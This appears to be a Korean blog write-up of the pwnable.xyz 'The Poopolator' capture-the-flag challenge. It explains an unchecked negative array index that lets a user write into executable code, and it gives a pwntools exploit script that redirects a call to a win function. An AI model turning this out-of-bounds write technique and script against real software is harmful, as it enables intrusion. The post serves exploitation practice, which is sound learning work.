

Full RELRO, NX, PIE가 걸려있는 64bit 바이너리이다.

어떤.. 프로그램인지는 잘 모르겠고... 그냥 똥이 나온다..
[main]
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6 = 0LL;
printf(byte_BBC);
v3 = _isoc99_scanf(&unk_BC6, &v4, &v5, &v6);
if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
break;
result[v6] = v5 ^ v4;
printf("Result: %ld\n", result[v6]);
}
exit(1);
}
main함수에서는 while문 안에서 세 개의 정수를 입력받은 후 입력 받은 수들이 0이거나 마지막 수가 9보다 크면 반복문을 탈출하고 그렇지 않다면 result 전역변수의 인덱스 v6(마지막 정수)에 v5(두번째 정수) ^ v4(첫번째 정수)를 넣어준다.

result는 크기가 10인 배열이기 때문에 9보다 큰 값이 들어오면 result에 접근하지 못하도록 해준다.
그런데 9보다 큰 값만 검사하고 음수값이 입력되는지는 검사하지 않기 때문에 원하는 주소에 원하는 값을 입력할 수 있다.
실행권한이 있는 부분을 확인해보자.

0x0000555555554000부터 0x0000555555555000까지 실행권한이 존재한다.

코드영역을 수정할 수 있다.

call printf를 call win으로 바꿔주면 된다!
"call printf" offset = 0xb15 result offset = 0x202200 |
0x202200 + 8*v6 = 0xb15가 되어야 한다.

v4 = 1 v5 = "call win" ^ 1 v6 = -262878 |
이거를 넣어주면 된다.
[payload]
from pwn import *
context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30029)
#r = process('./challenge')
e = ELF('./challenge')
r.recvuntil("The Poopolator\n")
win_addr = 0xa21
result = 0x202200
#call_print = 0xb15
call_exit = 0xac8
e.asm(call_exit, "call 0xa21")
call_win = int(e.read(call_exit,5)[::-1].encode('hex'), 16)
payload = ''
payload += "1 "
payload += str(call_win^1)
payload += " "
payload += str((call_exit - result)/8)
#r.recvuntil("The Poopolater\n")
r.sendlineafter(" ", payload)
r.sendlineafter(" ", "a")
r.interactive()
"call printf"를 덮으려고 하니까 잘 안돼서 그냥 "call exit"부분을 덮었다.

'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Free Spirit (0) | 2020.05.26 |
---|---|
[pwnable.xyz] two targets (0) | 2020.05.26 |
[pwnable.xyz] note (0) | 2020.05.08 |
[pwnable.xyz] GrowUp (0) | 2020.04.25 |
[pwnable.xyz] misalignment (0) | 2020.04.17 |